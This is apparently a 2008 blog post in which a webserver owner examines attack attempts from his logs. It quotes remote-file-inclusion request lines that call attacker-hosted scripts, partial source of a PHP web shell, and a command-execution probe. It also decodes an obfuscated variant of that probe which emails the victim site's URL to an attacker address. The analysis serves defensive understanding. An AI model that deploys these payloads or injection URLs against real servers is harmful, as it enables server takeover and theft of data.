(Some Jerks are) Testing for Web Server Vulnerabilities
A lot of scripts are being let loose on the webserver at the moment. Here is a selection from the web logs..
(For a list of all recent attacks on the server go look here.)
1. AppServ
91.193.130.36 - - [28/Jan/2008:13:10:52 +0000] "GET /appserv/main.php?appserv_root=http://212.78.204.20/retiredgod/a.txt?& HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
A quick look at the webserver at 212.78.204.20 shows that the directory retiredgod contains two files: a.txt and t.txt. The below is a.txt. In other words, should customer at valueserver.de have had any success with the proxy request, this would have been the result.
<title>Vulner4bl3</title> VulnerabLe |
And with this success obtained, no doubt t.txt would have been let loose: (click here to skip to the end of this seriously long bit of code)
<? <style type='text/css'>
fieldset.search { padding: 6px; line-height: 150% } label { cursor: pointer } form { display: inline } img { vertical-align: middle; border: 0px } img.attach { padding: 2px; border: 2px outset #000033 } #logostrip { padding: 0px; margin: 0px; background-color: #000000; border: 1px solid #CBAB78; } <title>ZETHA WEB SHELL </title> <table "width="100%" height=100% bgcolor="#336699"> <table><tr><td> $dir = $_POST['dir']; $cmd = $_POST['cmd']; $bind = " return convert_cyr_string ($buffer, d, w); }
/*??????????*/ /*????????? ??? ???????*/ if (ereg("Win32", $servsoft, $reg)){
echo $servsoft . "<br>"; if ($sertype == "winda"){ ob_start('decode'); if ($sertype == "other"){
if($_POST['post'] == "yes" and $HTTP_POST_FILES["userfile"][name] !== "") if(($_POST['fileto'] != "")||($_POST['filefrom'] != "")) { if ($_POST['installbind']){ if (is_dir($_POST['installpath']) == true){ $fp = fopen($_POST['installpath'], "w"); exec("perl $installpath $ip $cbport"); } if ($_POST['editfile']){ foreach ($filearr as $string){ echo "<center><div id=logostrip>Edit file: $editfile </div><form action=\"$REQUEST_URI\" method=\"POST\"><textarea name=content cols=122 if($_POST['savefile']){ $fp = fopen($_POST['savefile'], "w"); } if ($cmd){ echo "<center><textarea cols=122 rows=20>"; echo "</textarea></center>"; }else{ $arr = array_merge($arr, glob("*")); foreach ($arr as $filename) { if ($filename != "." and $filename != ".."){ if (is_dir($filename) == true){ } if (is_readable($filename) == true){ if (is_file($filename) == true){ if (is_readable($filename) == true){
}
}
echo " Directory:<INPUT type=\"text\" name=\"dir\" size=30 value=\""; echo getcwd();
if (ini_get('safe_mode') == 1){echo "<br><font size=\"3\"color=\"#cc0000\"><b>SAFE MOD IS ON<br>
echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\"> echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\">
echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\"> <INPUT type=\"hidden\" name=\"installbind\" value=\"yes\"> echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\">
?> </td></tr> |
pro-hack.ru huh? The application this is targeting has an /appserv/ directory which contains a vulnerable php script by the looks of it. My thinking here is this might be related to AppServ...
From the website: ( http://www.appservnetwork.com/modules.php?name=Content&pa=showpage&pid=7 )
| AppServ the begining. AppServ is not support by Thai Goverment or Corporation but this program was inspire by Phanupong Panyadee (AppServ Foundation). Concept of AppServ it is Easy to install Apache, PHP, MySQL in 1 minute. Many people in this world have problem when Install Apache, PHP, MySQL becuase use long time to configure and some time can make dizzy. First time of distribution provide on October 9, 2001. Many people use AppServ and growing up everywhere in this world. Right now AppServ website provide in Thai and English language. For the future AppServ wet site will provide every languages on world. |
My first language isn't English either, but this made me laugh a little. I want to go to the planet where people don't have any problem when install Apache. Bit of weirdness there as well: whilst they recommend linux, the only download I can find is a windows executable. Oh well. Maybe because you don't need this thing on linux?
"Solution: Currently, there are no known upgrades, patches, or workarounds available to correct this issue."
(source: http://osvdb.org/22228 )
That's just brilliant. I am tempted to set this thing up to see what they would want to do given such access levels, but that would mean major reorganisation which I haven't got the time for at the moment.
Hang on, it just struck me that there must be a solution... The vulnerability is exploited within the /appserv/ directory, but it says on the AppServ website you can delete that after installation. Maybe that would help?
| Directory structure of www file store. • www Directory Root for Web page file. • www/cgi-bin CGI file directory. • www/phpMyAdmin phpMyAdmin program directory. • www/appserv AppServ file, you can delete it after install. • www/index.php AppServ index.php file you can delete it after install. |
2. php redirection/code injection/whatever this is
72.55.143.52 - - [28/Jan/2008:11:59:52 +0000] "GET /index.php?page=http://www.pooya.info/images/.../test.txt??? HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1"
Here we have some random php vulnerability. This scheme is being tried in random directories on my server. All of them attempt to retrieve test.txt which reads: (and it's nowhere near as big as the last one)
| <html><head><title>/\/\/\ Response CMD /\/\/\</title></head><body bgcolor=DC143C> <H1>Changing this CMD will result in corrupt scanning !</H1> </html></head></body> <?php if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){ echo("Safe Mode of this Server is : "); echo("SafemodeOFF"); } else{ ini_restore("safe_mode"); ini_restore("open_basedir"); if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){ echo("Safe Mode of this Server is : "); echo("SafemodeOFF"); }else{ echo("Safe Mode of this Server is : "); echo("SafemodeON"); } } function ex($cfe){ $res = ''; if (!empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')){ $res = @shell_exec($cfe); } elseif(function_exists('system')){ @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')){ @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))){ $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } exit; |
A quick peek at the pooya.info server shows the same directory has another file called response.txt:
| <?php $_F=__FILE__;$_X='Pz48aHRtbD48aDUxZD48dDR0bDU+L1wvXC9cIFI1c3AybnM1IENNRCAvXC9cL1w8L3Q0dGw 1PjwvaDUxZD48YjJkeSBiZ2MybDJyPURDNnVvQz4NCjxINj5DaDFuZzRuZyB0aDRzIENNR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sNCkBzeXN0NW0o JGNmNSk7DQokcjVzID0gQDJiX2c1dF9jMm50NW50cygpOw0KQDJiXzVuZF9jbDUxbigpOw0KfQ0KNWxzNTRmKGYzbmN0NDJ uXzV4NHN0cygncDFzc3RocjMnKSl7DQpAMmJfc3QxcnQoKTsNCkBwMXNzdGhyMygkY2Y1KTsNCiRyNXMgPSBAMmJfZzV0X2 MybnQ1bnRzKCk7DQpAMmJfNW5kX2NsNTFuKCk7DQp9DQo1bHM1NGYoQDRzX3I1czIzcmM1KCRmID0gQHAycDVuKCRjZjUsI nIiKSkpew0KJHI1cyA9ICIiOw0Kd2g0bDUoIUBmNTJmKCRmKSkgeyAkcjVzIC49IEBmcjUxZCgkZiw2MGF1KTsgfQ0KQHBj bDJzNSgkZik7DQp9DQp9DQpyNXQzcm4gJHI1czsNCn0NCjV4NHQ7';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZ GUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19G SUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?> |
xx-small because it's a load of garble just taking up the space on the page. This is base64 encoded and gives:
?><html><h51d><t4tl5>/\/\/\ R5sp2ns5 CMD /\/\/\</t4tl5></h51d><b2dy bgc2l2r=DC6uoC> '$_X=base64_decode($_X);$_X=strtr($_X,'123456aouie','aouie123456');$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0; |
That's nearly legible, only the command in the last line left:
| ?><html><head><title>/\/\/\ Response CMD /\/\/\</title></head><body bgcolor=DC6uoC> <H6>Changing this CMD will result in corrupt scanning !</H6> </html></head></body> <?php if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){ echo("Safe Mode of this Server is : "); echo("SafeOFF"); } else{ ini_restore("safe_mode"); ini_restore("open_basedir"); if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){ echo("Safe Mode of this Server is : "); echo("SafeOFF"); }else{ echo("Safe Mode of this Server is : "); echo("SafeON"); } } //0o9uui096u0jf9eja09ef8o09607uiro08eyqfuoj6089rj60 $fromage = "PitBull CreW <pitbullguys@onlinemail.com>";//0o9uui096u0jf9eja09ef8o09607uiro08eyqfuoj6089rj60 $jaenwiemoethemdanontvangenhe = "adventurecrazyjan@gmail.com";//0o9uui096u0jf9eja09ef8o09607uiro08eyqfuoj6089rj60 $enwelkonderwerpmoethethebben = "StableScanner";//0o9uui096u0jf9eja09ef8o09607uiro08eyqfuoj6089rj60 $ennatuurlijkmoetenwedeurlnietvergeten = "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];//0o9uui096u0jf9eja09ef8o09607uiro08eyqfuoj6089rj60 $hewehebbenooknoginfo = "From: ".$fromage;//0o9uui096u0jf9eja09ef8o09607uiro08eyqfuoj6089rj60 mail($jaenwiemoethemdanontvangenhe, $enwelkonderwerpmoethethebben, $ennatuurlijkmoetenwedeurlnietvergeten, $hewehebbenooknoginfo);//0o9uui096u0jf9eja09ef8o09607uiro08eyqfuoj6089rj60 //0o9uui096u0jf9eja09ef8o09607uiro08eyqfuoj6089rj60 function ex($cfe){ $res = ''; if (!empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')){ $res = @shell_exec($cfe); } elseif(function_exists('system')){ @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')){ @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))){ $res = ""; while(!@feof($f)) { $res .= @fread($f,60au); } @pclose($f); } } return $res; } exit; |
Well there's some similarity with the "test.txt" but this one has some added bits, and they're in Dutch. This is quite good really as this happens to be my native tongue. It might have been Russian, Romanian or Rastafarian and I would not have known what it said. Approximately twice a year it comes in handy to know Dutch, and this is one of those times already used up for 2008... Hopefully adventurecrazyjan@gmail.com won't mind if I say that roughly translated
$jaenwiemoethemdanontvangenhe means "yes and who should receive it now huh"; $enwelkonderwerpmoethethebben means "and what subject should it have", $ennatuurlijkmoetenwedeurlnietvergeten means "and of course we must not forget the url" and last but not least $hewehebbenooknoginfo means "hey we also have some info". Wonderful, no? I am still left with strings of nonsense letters & numbers after the slashes, so I'm obviously not done yet. Unless these are just sequences of random nonsense aimed at obfuscation. After all, they're comments, so they don't get evaluated. Maybe I should mail this adventure-crazy jan and ask him?
Oh and credit where it's due: I did not use pencil and paper to decode the base64 stuff. A beautiful decoder can be found here: http://makcoder.sourceforge.net/demo/base64.php. This one didn't fall over once, unlike some others I tried...